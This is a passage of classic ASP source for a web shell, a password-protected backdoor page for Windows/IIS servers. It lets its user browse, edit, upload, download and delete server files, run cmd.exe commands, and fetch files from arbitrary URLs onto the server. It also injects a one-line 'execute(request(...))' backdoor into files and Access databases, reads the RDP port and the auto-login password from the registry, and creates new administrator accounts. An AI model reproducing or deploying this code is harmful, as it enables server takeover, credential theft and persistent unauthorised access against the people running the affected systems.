"
Err.Clear
Response.End
End If
End Sub
Sub echo(str)
Response.Write(str)
End Sub
Sub isIn()
If pageName<>"" And PageName<>"login" And PageName<>showLogin Then
If Session(m&"userPassword")<>userPassword Then
Response.End
End If
End If
End Sub
Function fixNull(str)
If IsNull(str) Then
str=" "
End If
fixNull=str
End Function
Function encode(str)
str=Server.HTMLEncode(str)
str=Replace(str,vbNewLine," ")
str=Replace(str," "," ")
str=Replace(str," "," ")
encode=str
End Function
Function getTheSize(theSize)
If theSize >=(1024 * 1024 * 1024) Then getTheSize=Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100&"G"
If theSize >=(1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize=Fix((theSize / (1024 * 1024)) * 100) / 100&"M"
If theSize >=1024 And theSize < (1024 * 1024) Then getTheSize=Fix((theSize / 1024) * 100) / 100&"K"
If theSize >=0 And theSize <1024 Then getTheSize=theSize&"B"
End Function
Function HtmlEncode(str)
If isNull(str) Then
Exit Function
End If
HtmlEncode=Server.HTMLEncode(str)
End Function
Function UrlEncode(str)
If isNull(str) Then
Exit Function
End If
UrlEncode=Server.UrlEncode(str)
End Function
Sub redirectTo(strUrl)
Response.Redirect(Request.ServerVariables("URL")&strUrl)
End Sub
Function trimThePath(strPath)
If Right(strPath,1)="\" And Len(strPath) > 3 Then
strPath=Left(strPath,Len(strPath) - 1)
End If
trimThePath=strPath
End Function
Sub alertThenClose(strInfo)
Response.Write ""
End Sub
Sub showErr(str)
Dim i,arrayStr
str=Server.HtmlEncode(str)
arrayStr=Split(str,"$$")
echo ""
echo "E:
"
For i=0 To UBound(arrayStr)
echo " "&(i+1)&". "&arrayStr(i)&" "
Next
echo ""
Response.End
End Sub
isIn()
PageOther()
Call createIt(fsoX,saX,wsX)
Select Case pageName
Case showLogin,"login"
PageLogin()
Case "PageList"
PageList()
Case "objOnSrv"
PageObjOnSrv()
Case "ServiceList"
PageServiceList()
Case "userList"
PageUserList()
Case "CSInfo"
PageCSInfo()
Case "infoAboutSrv"
PageInfoAboutSrv()
Case "AppFileExplorer"
PageAppFileExplorer()
Case "SaCmdRun"
PageSaCmdRun()
Case "WsCmdRun"
PageWsCmdRun()
Case "FsoFileExplorer"
PageFsoFileExplorer()
Case "MsDataBase"
PageMsDataBase()
Case "OtherTools"
PageOtherTools()
Case "TxtSearcher"
PageTxtSearcher()
Case "PageAddToMdb"
PageAddToMdb()
End Select
Set saX=Nothing
Set wsX=Nothing
Set fsoX=Nothing
Sub PageAppFileExplorer()
Response.Buffer=True
If isDebugMode=False Then
On Error Resume Next
End If
Dim strExtName,thePath,objFolder,objMember,strDetails,strPath,strNewName
Dim intI,theAct,strTmp,strFolderList,strFileList,strFilePath,strFileName,strParentPath
theAct=Request("theAct")
strNewName=Request("newName")
thePath=Replace(LTrim(Request("thePath")),"\\","\")
If theAct<>"upload" Then
If Request.Form.Count > 0 Then
theAct=Request.Form("theAct")
thePath=Replace(LTrim(Request.Form("thePath")),"\\","\")
End If
End If
Select Case theAct
Case "openUrl"
openUrl(thePath)
Case "showEdit"
Call showEdit(thePath,"stream")
Case "saveFile"
Call saveToFile(thePath,"stream")
Case "copyOne","cutOne"
If thePath="" Then
alertThenClose("E")
Response.End
End If
Session(m&"appThePath")=thePath
Session(m&"appTheAct")=theAct
alertThenClose("Y")
Case "pastOne"
appDoPastOne(thePath)
alertThenClose("Y")
Case "rename"
appRenameOne(thePath)
Case "downTheFile"
downTheFile(thePath)
Case "theAttributes"
appTheAttributes(thePath)
Case "showUpload"
Call showUpload(thePath,"AppFileExplorer")
Case "upload"
streamUpload(thePath)
Call showUpload(thePath,"AppFileExplorer")
Case "inject"
strTmp=streamLoadFromFile(thePath)
fsoSaveToFile thePath,strTmp&sBD
alertThenClose("Y")
End Select
If theAct<>"" Then
Response.End
End If
Set objFolder=saX.NameSpace(thePath)
If Request.Form.Count > 0 Then
redirectTo("?pageName=AppFileExplorer&thePath="&UrlEncode(thePath))
End If
echo ITN+"usePath />"
echo ITV+""""&HtmlEncode(thePath)&""" name=truePath />"
echo "
"
echo ""
For Each objMember In objFolder.Items
intI=intI+1
If intI > 200 Then
intI=0
Response.Flush()
End If
If objMember.IsFolder=True Then
If Left(objMember.Path,2)="::" Then
strPath=URLEncode(objMember.Path)
Else
strPath=URLEncode(objMember.Path)&"%5C"
End If
strFolderList=strFolderList&"0 "&objMember.Name&""
Else
strDetails=objFolder.GetDetailsOf(objMember,-1)
strFilePath=objMember.Path
strFileName=Mid(strFilePath,InStrRev(strFilePath,"\")+1)
strExtName=Split(strFileName,".")(UBound(Split(strFileName,".")))
strFileList=strFileList&" "&strFileName&""
End If
Next
chkErr(Err)
strParentPath=getParentPath(thePath)
If thePath<>"" And Left(thePath,2)<>"::" Then
strFolderList="0 .."&strFolderList
End If
echo "
"
echo strFolderList&strFileList
echo "
"
Set objFolder=Nothing
End Sub
Function getParentPath(strPath)
If Right(strPath,1)="\" Then
strPath=Left(strPath,Len(strPath) - 1)
End If
If Len(strPath)=2 Then
getParentPath=" "
Else
getParentPath=Left(strPath,InStrRev(strPath,"\"))
End If
End Function
Function streamSaveToFile(thePath,fileContent)
Dim stream
If isDebugMode=False Then
On Error Resume Next
End If
Set stream=Server.CreateObject("adodb.stream")
With stream
.Type=2
.Mode=3
.Open
chkErr(Err)
.Charset="gb2312"
.WriteText fileContent
.saveToFile thePath,2
.Close
End With
Set stream=Nothing
End Function
Sub appDoPastOne(thePath)
If isDebugMode=False Then
On Error Resume Next
End If
Dim strAct,strPath
dim objTargetFolder
strAct=Session(m&"appTheAct")
strPath=Session(m&"appThePath")
If strAct="" Or strPath="" Then
alertThenClose("E")
Exit Sub
End If
If InStr(LCase(thePath),LCase(strPath)) > 0 Then
alertThenClose("E")
Exit Sub
End If
strPath=trimThePath(strPath)
thePath=trimThePath(thePath)
Set objTargetFolder=saX.NameSpace(thePath)
If strAct="copyOne" Then
objTargetFolder.CopyHere(strPath)
Else
objTargetFolder.MoveHere(strPath)
End If
chkErr(Err)
Set objTargetFolder=Nothing
End Sub
Sub appTheAttributes(thePath)
If isDebugMode=False Then
On Error Resume Next
End If
Dim i,strSth,objFolder,objItem,strModifyDate
strModifyDate=Request("ModifyDate")
thePath=trimThePath(thePath)
If thePath="" Then
alertThenClose("E")
Exit Sub
End If
strSth=Left(thePath,InStrRev(thePath,"\"))
Set objFolder=saX.NameSpace(strSth)
chkErr(Err)
strSth=Split(thePath,"\")(UBound(Split(thePath,"\")))
Set objItem=objFolder.ParseName(strSth)
chkErr(Err)
If isDate(strModifyDate) Then
objItem.ModifyDate=strModifyDate
alertThenClose("!")
Set objItem=Nothing
Set objFolder=Nothing
Exit Sub
End If
For i=1 To 8
strSth=strSth&" P("&i&"): "&objFolder.GetDetailsOf(objItem,i)
Next
strSth=Replace(strSth,"P(1)","S")
strSth=Replace(strSth,"P(2)","P")
strSth=Replace(strSth,"P(3)","M")
strSth=Replace(strSth,"P(8)","O")
strSth=strSth&""
echo strSth
Set objItem=Nothing
Set objFolder=Nothing
End Sub
Sub appRenameOne(thePath)
If isDebugMode=False Then
On Error Resume Next
End If
Dim strSth,fileName,objItem,objFolder
fileName=Request("fileName")
thePath=trimThePath(thePath)
strSth=Left(thePath,InStrRev(thePath,"\"))
Set objFolder=saX.NameSpace(strSth)
chkErr(Err)
strSth=Split(thePath,"\")(UBound(Split(thePath,"\")))
Set objItem=objFolder.ParseName(strSth)
chkErr(Err)
strSth=Split(thePath,".")(UBound(Split(thePath,".")))
If fileName<>"" Then
objItem.Name=fileName
chkErr(Err)
alertThenClose("Y")
Set objItem=Nothing
Set objFolder=Nothing
Exit Sub
End If
echo ""
Set objItem=Nothing
Set objFolder=Nothing
End Sub
Sub PageCSInfo()
If isDebugMode=False Then
On Error Resume Next
End If
Dim strKey,strVar,strVariable
echo "ServerVariables:"
echo ""
For Each strVariable In Request.ServerVariables
echo "
"
Next
Err.Clear
End If
Next
echo ""
echo " Session:(ID"&Session.SessionId&")"
echo ""
For Each strVariable In Session.Contents
echo "
"&strVariable&": "&Encode(Session(strVariable))&"
"
Next
echo ""
echo " Cookies:"
echo ""
For Each strVariable In Request.Cookies
If Request.Cookies(strVariable).HasKeys Then
For Each strKey In Request.Cookies(strVariable)
echo "
"
End If
Next
echo ""
End Sub
Sub PageFsoFileExplorer()
If isDebugMode=False Then
On Error Resume Next
End If
Response.Buffer=True
Dim file,drive,folder,theFiles,theFolder,theFolders
Dim i,theAct,strTmp,driveStr,thePath,parentFolderName
theAct=Request("theAct")
thePath=Request("thePath")
If theAct<>"upload" Then
If Request.Form.Count > 0 Then
theAct=Request.Form("theAct")
thePath=Request.Form("thePath")
End If
End If
Select Case theAct
Case "newOne","doNewOne"
fsoNewOne(thePath)
Case "showEdit"
Call showEdit(thePath,"fso")
Case "saveFile"
Call saveToFile(thePath,"fso")
Case "openUrl"
openUrl(thePath)
Case "copyOne","cutOne"
If thePath="" Then
alertThenClose("E")
Response.End
End If
Session(m&"fsoThePath")=thePath
Session(m&"fsoTheAct")=theAct
alertThenClose("Y")
Case "pastOne"
fsoPastOne(thePath)
alertThenClose("Y")
Case "showFsoRename"
showFsoRename(thePath)
Case "doRename"
Call fsoRename(thePath)
alertThenClose("Y")
Case "delOne","doDelOne"
showFsoDelOne(thePath)
Case "getAttributes","doModifyAttributes"
fsoTheAttributes(thePath)
Case "downTheFile"
downTheFile(thePath)
Case "showUpload"
Call showUpload(thePath,"FsoFileExplorer")
Case "upload"
streamUpload(thePath)
Call showUpload(thePath,"FsoFileExplorer")
Case "inject"
Set theFiles=fsoX.OpenTextFile(thePath)
strTmp=theFiles.ReadAll()
fsoSaveToFile thePath,strTmp&sBD
Set theFiles=Nothing
alertThenClose("Y")
End Select
If theAct<>"" Then
Response.End
End If
If Request.Form.Count > 0 Then
redirectTo("?pageName=FsoFileExplorer&thePath="&UrlEncode(thePath))
End If
parentFolderName=fsoX.GetParentFolderName(thePath)
echo "
"
echo ""
If fsoX.FolderExists(thePath)=False Then
showErr(thePath&"E!")
End If
Set theFolder=fsoX.GetFolder(thePath)
Set theFiles=theFolder.Files
Set theFolders=theFolder.SubFolders
echo "
"
For Each folder In theFolders
i=i+1
If i > 50 Then
i=0
Response.Flush()
End If
strTmp=UrlEncode(folder.Path&"\")
echo "0 "&folder.Name&""&vbNewLine
Next
Response.Flush()
For Each file In theFiles
i=i+1
If i > 100 Then
i=0
Response.Flush()
End If
echo " "&file.Name&""&vbNewLine
Next
echo "
"
chkErr(Err)
End Sub
Sub fsoNewOne(thePath)
If isDebugMode=False Then
On Error Resume Next
End If
Dim theAct,isFile,theName,newAct
isFile=Request("isFile")
newAct=Request("newAct")
theName=Request("theName")
If newAct="Y" Then
thePath=Replace(thePath&"\"&theName,"\\","\")
If isFile="True" Then
Call fsoX.CreateTextFile(thePath,False)
Else
fsoX.CreateFolder(thePath)
End If
chkErr(Err)
alertThenClose("!")
Response.End
End If
echo ""
echo ""
echo " "
End Sub
Sub fsoPastOne(thePath)
If isDebugMode=False Then
On Error Resume Next
End If
Dim sessionPath
sessionPath=Session(m&"fsoThePath")
If thePath="" Or sessionPath="" Then
alertThenClose("E!")
Response.End
End If
If Right(thePath,1)="\" Then
thePath=Left(thePath,Len(thePath) - 1)
End If
If Right(sessionPath,1)="\" Then
sessionPath=Left(sessionPath,Len(sessionPath) - 1)
If Session(m&"fsoTheAct")="cutOne" Then
Call fsoX.MoveFolder(sessionPath,thePath&"\"&fsoX.GetFileName(sessionPath))
Else
Call fsoX.CopyFolder(sessionPath,thePath&"\"&fsoX.GetFileName(sessionPath))
End If
Else
If Session(m&"fsoTheAct")="cutOne" Then
Call fsoX.MoveFile(sessionPath,thePath&"\"&fsoX.GetFileName(sessionPath))
Else
Call fsoX.CopyFile(sessionPath,thePath&"\"&fsoX.GetFileName(sessionPath))
End If
End If
chkErr(Err)
End Sub
Sub fsoRename(thePath)
If isDebugMode=False Then
On Error Resume Next
End If
Dim theFile,fileName,theFolder
fileName=Request("fileName")
If thePath="" Or fileName="" Then
alertThenClose("E!")
Response.End
End If
If Right(thePath,1)="\" Then
Set theFolder=fsoX.GetFolder(thePath)
theFolder.Name=fileName
Set theFolder=Nothing
Else
Set theFile=fsoX.GetFile(thePath)
theFile.Name=fileName
Set theFile=Nothing
End If
chkErr(Err)
End Sub
Sub showFsoRename(thePath)
Dim theAct,fileName
fileName=fsoX.getFileName(thePath)
echo ""
echo ""
echo " "
End Sub
Sub showFsoDelOne(thePath)
If isDebugMode=False Then
On Error Resume Next
End If
Dim newAct,theFile
newAct=Request("newAct")
If newAct="what?" Then
If Right(thePath,1)="\" Then
thePath=Left(thePath,Len(thePath) - 1)
Call fsoX.DeleteFolder(thePath,True)
Else
Call fsoX.DeleteFile(thePath,True)
End If
chkErr(Err)
alertThenClose("!")
Response.End
End If
echo ""
End Sub
Sub fsoTheAttributes(thePath)
If isDebugMode=False Then
On Error Resume Next
End If
Dim newAct,theFile,theFolder,theTitle
newAct=Request("newAct")
If Right(thePath,1)="\" Then
Set theFolder=fsoX.GetFolder(thePath)
If newAct="M" Then
setMyTitle(theFolder)
End If
theTitle=getMyTitle(theFolder)
Set theFolder=Nothing
Else
Set theFile=fsoX.GetFile(thePath)
If newAct=" M" Then
setMyTitle(theFile)
End If
theTitle=getMyTitle(theFile)
Set theFile=Nothing
End If
chkErr(Err)
theTitle=Replace(theTitle,vbNewLine," ")
echo ""
End Sub
Function getMyTitle(theOne)
If isDebugMode=False Then
On Error Resume Next
End If
Dim strTitle
strTitle=strTitle&"P: "&theOne.Path&""&vbNewLine
strTitle=strTitle&"S: "&getTheSize(theOne.Size)&vbNewLine
strTitle=strTitle&"P: "&getAttributes(theOne.Attributes)&vbNewLine
strTitle=strTitle&"T: "&theOne.DateCreated&vbNewLine
strTitle=strTitle&"M: "&theOne.DateLastModified&vbNewLine
strTitle=strTitle&"A: "&theOne.DateLastAccessed
getMyTitle=strTitle
End Function
Sub setMyTitle(theOne)
Dim i,myAttributes
For i=1 To Request("attributes").Count
myAttributes=myAttributes+CInt(Request("attributes")(i))
Next
theOne.Attributes=myAttributes
chkErr(Err)
echo ""
End Sub
Function getAttributes(intValue)
Dim strAtt
strAtt=ITC+"attributes value=4 {$system}>S "
strAtt=strAtt&ITC+"attributes value=2 {$hidden}>H "
strAtt=strAtt&ITC+"attributes value=1 {$readonly}>O "
strAtt=strAtt&ITC+"attributes value=32 {$archive}>S กกกก "
strAtt=strAtt&ITC+"attributes {$normal} value=0>C"
strAtt=strAtt&ITC+"attributes value=128 {$compressed}>Co"
strAtt=strAtt&ITC+"attributes value=16 {$directory}>FO "
strAtt=strAtt&ITC+"attributes value=64 {$alias}>Li"
If intValue=0 Then
strAtt=Replace(strAtt,"{$normal}","checked")
End If
If intValue >=128 Then
intValue=intValue - 128
strAtt=Replace(strAtt,"{$compressed}","checked")
End If
If intValue >=64 Then
intValue=intValue - 64
strAtt=Replace(strAtt,"{$alias}","checked")
End If
If intValue >=32 Then
intValue=intValue - 32
strAtt=Replace(strAtt,"{$archive}","checked")
End If
If intValue >=16 Then
intValue=intValue - 16
strAtt=Replace(strAtt,"{$directory}","checked")
End If
If intValue >=8 Then
intValue=intValue - 8
strAtt=Replace(strAtt,"{$volume}","checked")
End If
If intValue >=4 Then
intValue=intValue - 4
strAtt=Replace(strAtt,"{$system}","checked")
End If
If intValue >=2 Then
intValue=intValue - 2
strAtt=Replace(strAtt,"{$hidden}","checked")
End If
If intValue >=1 Then
intValue=intValue - 1
strAtt=Replace(strAtt,"{$readonly}","checked")
End If
getAttributes=strAtt
End Function
Sub PageInfoAboutSrv()
Dim theAct
theAct=Request("theAct")
Select Case theAct
Case ""
getSrvInfo()
getSrvDrvInfo()
getSiteRootInfo()
gTI()
Case "getSrvInfo"
getSrvInfo()
Case "getSrvDrvInfo"
getSrvDrvInfo()
Case "getSiteRootInfo"
getSiteRootInfo()
Case "gTI"
gTI()
End Select
End Sub
Sub getSrvInfo()
If isDebugMode=False Then
On Error Resume Next
End If
Dim i,sa,objWshSysEnv,aryExEnvList,strExEnvList,intCpuNum,strCpuInfo,strOS
Set sa=Server.CreateObject(ShA)
strExEnvList="SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$"&_
"PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION"
aryExEnvList=Split(strExEnvList,"$")
Set objWshSysEnv=wsX.Environment("SYSTEM")
chkErr(Err)
intCpuNum=Request.ServerVariables("NUMBER_OF_PROCESSORS")
If IsNull(intCpuNum) Or intCpuNum="" Then
intCpuNum=objWshSysEnv("NUMBER_OF_PROCESSORS")
End If
strOS=Request.ServerVariables("OS")
If IsNull(strOS) Or strOS="" Then
strOS=objWshSysEnv("OS")
strOs=strOs&"(Win2K3?)"
End If
strCpuInfo=objWshSysEnv("PROCESSOR_IDENTIFIER")
echo "I:"
echo ""
echo "
"
Next
echo ""
Set sa=Nothing
Set objWshSysEnv=Nothing
End Sub
Sub getSrvDrvInfo()
If isDebugMode=False Then
On Error Resume Next
End If
Dim objTheDrive
echo " I:"
echo ""
echo "
"
echo "D C V F S G "
For Each objTheDrive In fsoX.Drives
echo ""&objTheDrive.DriveLetter&""
echo ""&getDriveType(objTheDrive.DriveType)&""
If UCase(objTheDrive.DriveLetter)="A" Then
echo " "
Else
echo ""&objTheDrive.VolumeName&""
echo ""&objTheDrive.FileSystem&""
echo ""&getTheSize(objTheDrive.FreeSpace)&""
echo ""&getTheSize(objTheDrive.TotalSize)&" "
End If
If Err Then
Err.Clear
echo " "
End If
Next
echo "
"
Set objTheDrive=Nothing
End Sub
Sub getSiteRootInfo()
If isDebugMode=False Then
On Error Resume Next
End If
Dim objTheFolder
Set objTheFolder=fsoX.GetFolder(Server.MapPath("/"))
echo " กข:"
echo ""
echo "
P: "&Server.MapPath("/")&"
"
echo "
S: "&getTheSize(objTheFolder.Size)&"
"
echo "
FC: "&objTheFolder.Files.Count&"
"
echo "
SFC: "&objTheFolder.SubFolders.Count&"
"
echo "
D: "&objTheFolder.DateCreated&"
"
echo "
AD: "&objTheFolder.DateLastAccessed&"
"
echo ""
End Sub
Sub gTI()
If isDebugMode=False Then
On Error Resume Next
End If
Dim terminalPortPath,terminalPortKey,termPort
Dim autoLoginPath,autoLoginUserKey,autoLoginPassKey
Dim isAutoLoginEnable,autoLoginEnableKey,autoLoginUsername,autoLoginPassword
terminalPortPath="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
terminalPortKey="PortNumber"
termPort=wsX.RegRead(terminalPortPath&terminalPortKey)
echo "Info"
If termPort="" Or Err.Number<>0 Then
echo "E. "
Else
echo "Port: "&termPort&" "
End If
autoLoginPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
autoLoginEnableKey="AutoAdminLogon"
autoLoginUserKey="DefaultUserName"
autoLoginPassKey="DefaultPassword"
isAutoLoginEnable=wsX.RegRead(autoLoginPath&autoLoginEnableKey)
If isAutoLoginEnable=0 Then
echo "AutoLoginDis "
Else
autoLoginUsername=wsX.RegRead(autoLoginPath&autoLoginUserKey)
echo "Account: "&autoLoginUsername&" "
autoLoginPassword=wsX.RegRead(autoLoginPath&autoLoginPassKey)
If Err Then
Err.Clear
echo "False"
End If
echo "Pass: "&autoLoginPassword&" "
End If
echo ""
End Sub
Sub PageLogin()
Dim theAct,passWord
theAct=Request("theAct")
passWord=Request("userPassword")
If theAct="chkLogin" Then
If passWord=userPassword Then
Session(m&"userPassword")=passWord
redirectTo("?pageName=PageList")
Else
echo ""
End If
End If
echo ""
echo ""
echo ""
End Sub
Sub pageMsDataBase()
Dim theAct,sqlStr
theAct=Request("theAct")
sqlStr=Request("sqlStr")
If sqlStr="" Then
If Session(m&"sqlStr")="" Then
sqlStr="e:\hytop.mdb or sql:Provider=SQLOLEDB.1;Server=127.0.0.1;User ID=sa;Password=prince;Database=master;"
Else
sqlStr=Session(m&"sqlStr")
End If
End If
Session(m&"sqlStr")=sqlStr
echo ""
Select Case theAct
Case "showTables"
showTables()
Case "query"
showQuery()
Case "inject"
accessInject()
End Select
End Sub
Sub showTables()
If isDebugMode=False Then
On Error Resume Next
End If
Dim conn,sqlStr,rsTable,rsColumn,connStr,tablesStr
sqlStr=Request("sqlStr")
If LCase(Left(sqlStr,4))="sql:" Then
connStr=Mid(sqlStr,5)
Else
connStr="Provider=Microsoft.Jet.Oledb.4.0;Data Source="&sqlStr
End If
Set conn=Server.CreateObject("Adodb.Connection")
conn.Open connStr
chkErr(Err)
tablesStr=getTableList(conn,sqlStr,rsTable)
echo "DataStru: "
echo tablesStr&""
echo "SqlCMD"
Do Until rsTable.Eof
Set rsColumn=conn.OpenSchema(4,Array(Empty,Empty,rsTable("Table_Name").value))
echo "
"&rsTable("Table_Name")&"
"
echo "
"
echo "
Field
Class
Size
J
NULL
D
"
echo "
"
Do Until rsColumn.Eof
echo "
"
echo "
"&rsColumn("Column_Name")&"
"
echo "
"&getDataType(rsColumn("Data_Type"))&"
"
echo "
"&rsColumn("Character_Maximum_Length")&"
"
echo "
"&rsColumn("Numeric_Precision")&"
"
echo "
"&rsColumn("Is_Nullable")&"
"
echo "
"&rsColumn("Column_Default")&"
"
echo "
"
rsColumn.MoveNext
Loop
echo "
"
rsTable.MoveNext
Loop
echo ""
conn.Close
Set conn=Nothing
Set rsTable=Nothing
Set rsColumn=Nothing
End Sub
Sub showQuery()
If isDebugMode=False Then
On Error Resume Next
End If
Dim i,j,rs,sql,page,conn,sqlStr,connStr,rsTable,tablesStr,theTable
sql=Request("sql")
page=Request("page")
sqlStr=Request("sqlStr")
theTable=Request("theTable")
If Not IsNumeric(page) or page="" Then
page=1
End If
If sql="" And theTable<>"" Then
sql="Select top "&dbSelectNumber&" * from ["&theTable&"]"
End If
If LCase(Left(sqlStr,4))="sql:" Then
connStr=Mid(sqlStr,5)
Else
connStr="Provider=Microsoft.Jet.Oledb.4.0;Data Source="&sqlStr
End If
Set rs=Server.CreateObject("Adodb.RecordSet")
Set conn=Server.CreateObject("Adodb.Connection")
conn.Open connStr
chkErr(Err)
tablesStr=getTableList(conn,sqlStr,rsTable)
echo "DataStru: "
echo tablesStr&""
echo "SQLRun"
echo " "
conn.Close
Set rs=Nothing
Set conn=Nothing
Set rsTable=Nothing
End Sub
Function getDataType(typeId)
Select Case typeId
Case 130
getDataType="Text"
Case 2
getDataType="Trueing"
Case 3
getDataType="Long trueing"
Case 7
getDataType="Date/Time"
Case 5
getDataType="Double precision"
Case 11
getDataType="Is/Otherwise"
Case 128
getDataType="OLE Object"
Case Else
getDataType=typeId
End Select
End Function
Sub accessInject()
If isDebugMode=False Then
On Error Resume Next
End If
Dim rs,conn,sqlStr,connStr
sqlStr=Request("sqlStr")
If LCase(Left(sqlStr,4))="sql:" Then
showErr("Only ACCESS!")
Else
connStr="Provider=Microsoft.Jet.Oledb.4.0;Data Source="&sqlStr
End If
Set rs=Server.CreateObject("Adodb.RecordSet")
Set conn=Server.CreateObject("Adodb.Connection")
conn.Open connStr
chkErr(Err)
If notdownloadsExists=True Then
conn.Execute("drop table notdownloads")
End If
conn.Execute("create table notdownloads(notdownloads oleobject)")
rs.Open "notdownloads",conn,1,3
rs.AddNew
rs("notdownloads").AppendChunk(ChrB(Asc("<"))&ChrB(Asc("%"))&ChrB(Asc("e"))&ChrB(Asc("x"))&ChrB(Asc("e"))&ChrB(Asc("c"))&ChrB(Asc("u"))&ChrB(Asc("t"))&ChrB(Asc("e"))&ChrB(Asc("("))&ChrB(Asc("r"))&ChrB(Asc("e"))&ChrB(Asc("q"))&ChrB(Asc("u"))&ChrB(Asc("e"))&ChrB(Asc("s"))&ChrB(Asc("t"))&ChrB(Asc("("))&ChrB(Asc(""""))&ChrB(Asc(clientPassword))&ChrB(Asc(""""))&ChrB(Asc(")"))&ChrB(Asc(")"))&ChrB(Asc("%"))&ChrB(Asc(">"))&ChrB(Asc(" ")))
rs.Update
rs.Close
echo ""
conn.Close
Set rs=Nothing
Set conn=Nothing
End Sub
Function getTableList(conn,sqlStr,rsTable)
Set rsTable=conn.OpenSchema(20,Array(Empty,Empty,Empty,"table"))
Do Until rsTable.Eof
getTableList=getTableList&"["&rsTable("Table_Name")&"] "
rsTable.MoveNext
Loop
rsTable.MoveFirst
End Function
Sub PageObjOnSrv()
Dim i,objTmp,txtObjInfo,strObjectList,strDscList
txtObjInfo=Trim(Request("txtObjInfo"))
strObjectList="MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.Tools,MSWC.Status,MSWC.Counters,IISSample.ContentRotator,"&_
"IISSample.PageCounter,MSWC.PermissionChecker,Adodb.Connection,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile,"&_
"Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.MailSender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer,"&_
"IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image,"&_
"Scripting.FileSystemObject,Adodb.Stream,Shell.Application,WScript.Shell,Wscript.Network"
strDscList="The advertisement takes turns,Browser information,Content link storehouse,,,Counter,The content wheel reveals,,Jurisdiction examination,ADO Data object,SA-FileUp Document uploading,SoftArtisans Document management,"&_
"Liu Yunfeng's document uploading module,ASPUpload Document uploading,Dimac Document uploading,Dimac JMail Mail receiving and dispatching,Hypothesized SMTP Sending a letter,ASPemail Sending a letter,ASPmail Sending a letter,dkQmail Sending a letter,"&_
"Geocel Sending a letter,IISmail Sending a letter,SmtpMail Sending a letter,SA Image read-write,Dimac Image read-write module,"&_
"FSO,Stream Class,,,"
aryObjectList=Split(strObjectList,",")
aryDscList=Split(strDscList,",")
echo "O "
echo ""
If Request("theAct")="T" And txtObjInfo<>"" Then
Call getObjInfo(txtObjInfo,"")
End If
echo ""
echo "Name"
For i=0 To UBound(aryDscList)
Call getObjInfo(aryObjectList(i),aryDscList(i))
Next
echo ""
End Sub
Sub getObjInfo(strObjInfo,strDscInfo)
Dim objTmp
If isDebugMode=False Then
On Error Resume Next
End If
echo "
"&strObjInfo
If strDscInfo<>"" Then
echo " ("&strDscInfo&"Module)"
End If
echo " ? "
Set objTmp=Server.CreateObject(strObjInfo)
If Err<>-2147221005 Then
echo "กม "
echo "Version: "&objTmp.Version&"; "
echo "About: "&objTmp.About
Else
echo "กม"
End If
echo "
"
If Err Then
Err.Clear
End If
Set objTmp=Nothing
End Sub
Sub PageOtherTools()
Dim theAct
theAct=Request("theAct")
Select Case theAct
Case "downFromUrl"
downFromUrl()
Response.End
Case "addUser"
AddUser Request("userName"),Request("passWord")
Response.End
Case "readReg"
readReg()
Response.End
End Select
echo "Covert:"
echo ""
echo ""
echo ""
echo ""
echo ""
echo "DTS:"
echo ""
echo ""
echo "Edit:"
echo ""
echo "Add Admin:"
echo ""
echo "ReadReg(Info):"
echo ""
echo ""&vbNewLine
End Sub
Sub downFromUrl()
If isDebugMode=False Then
On Error Resume Next
End If
Dim Http,theUrl,thePath,stream,fileName,overWrite
theUrl=Request("theUrl")
thePath=Request("thePath")
overWrite=Request("overWrite")
Set stream=Server.CreateObject("Adodb.Stream")
Set Http=Server.CreateObject("MSXML2.XMLHTTP")
If overWrite<>2 Then
overWrite=1
End If
Http.Open "GET",theUrl,False
Http.Send()
If Http.ReadyState<>4 Then
Exit Sub
End If
With stream
.Type=1
.Mode=3
.Open
.Write Http.ResponseBody
.Position=0
.SaveToFile thePath,overWrite
If Err.Number=3004 Then
Err.Clear
fileName=Split(theUrl,"/")(UBound(Split(theUrl,"/")))
If fileName="" Then
fileName="index.htm.txt"
End If
thePath=thePath&"\"&fileName
.SaveToFile thePath,overWrite
End If
.Close
End With
chkErr(Err)
alertThenClose("Document "&Replace(thePath,"\","\\")&"!")
Set Http=Nothing
Set Stream=Nothing
End Sub
Sub AddUser(strUser,strPassword)
If isDebugMode=False Then
On Error Resume Next
End If
Dim computer,theUser,theGroup
Set computer=Getobject("WinNT://.")
Set theGroup=GetObject("WinNT://./Administrators,group")
Set theUser=computer.Create("User",strUser)
theUser.SetPassword(strPassword)
chkErr(Err)
theUser.SetInfo
chkErr(Err)
theGroup.Add theUser
chkErr(Err)
Set theUser=Nothing
Set computer=Nothing
Set theGroup=Nothing
echo getUserInfo(strUser)
End Sub
Sub readReg()
If isDebugMode=False Then
On Error Resume Next
End If
Dim i,thePath,theArray
thePath=Request("thePath")
theArray=wsX.RegRead(thePath)
If IsArray(theArray) Then
For i=0 To UBound(theArray)
echo "
"&theArray(i)
Next
Else
echo "
"&theArray
End If
chkErr(Err)
End Sub
Sub PageList()
echo ""
echo "
"
echo ""
End Sub
Sub PageSaCmdRun()
If isDebugMode=False Then
On Error Resume Next
End If
Dim theFile,thePath,theAct,appPath,appName,appArgs
theAct=Trim(Request("theAct"))
appPath=Trim(Request("appPath"))
thePath=Trim(Request("thePath"))
appName=Trim(Request("appName"))
appArgs=Trim(Request("appArgs"))
If theAct="doAct" Then
If appName="" Then
appName="cmd.exe"
End If
If appPath<>"" And Right(appPath,1)<>"\" Then
appPath=appPath&"\"
End If
If LCase(appName)="cmd.exe" And appArgs<>"" Then
If LCase(Left(appArgs,2))<>"/c" Then
appArgs="/c "&appArgs
End If
Else
If LCase(appName)="cmd.exe" And appArgs="" Then
appArgs="/c "
End If
End If
saX.ShellExecute appName,appArgs,appPath,"",0
chkErr(Err)
End If
If theAct="readResult" Then
Err.Clear
echo encode(streamLoadFromFile(aspPath))
If Err Then
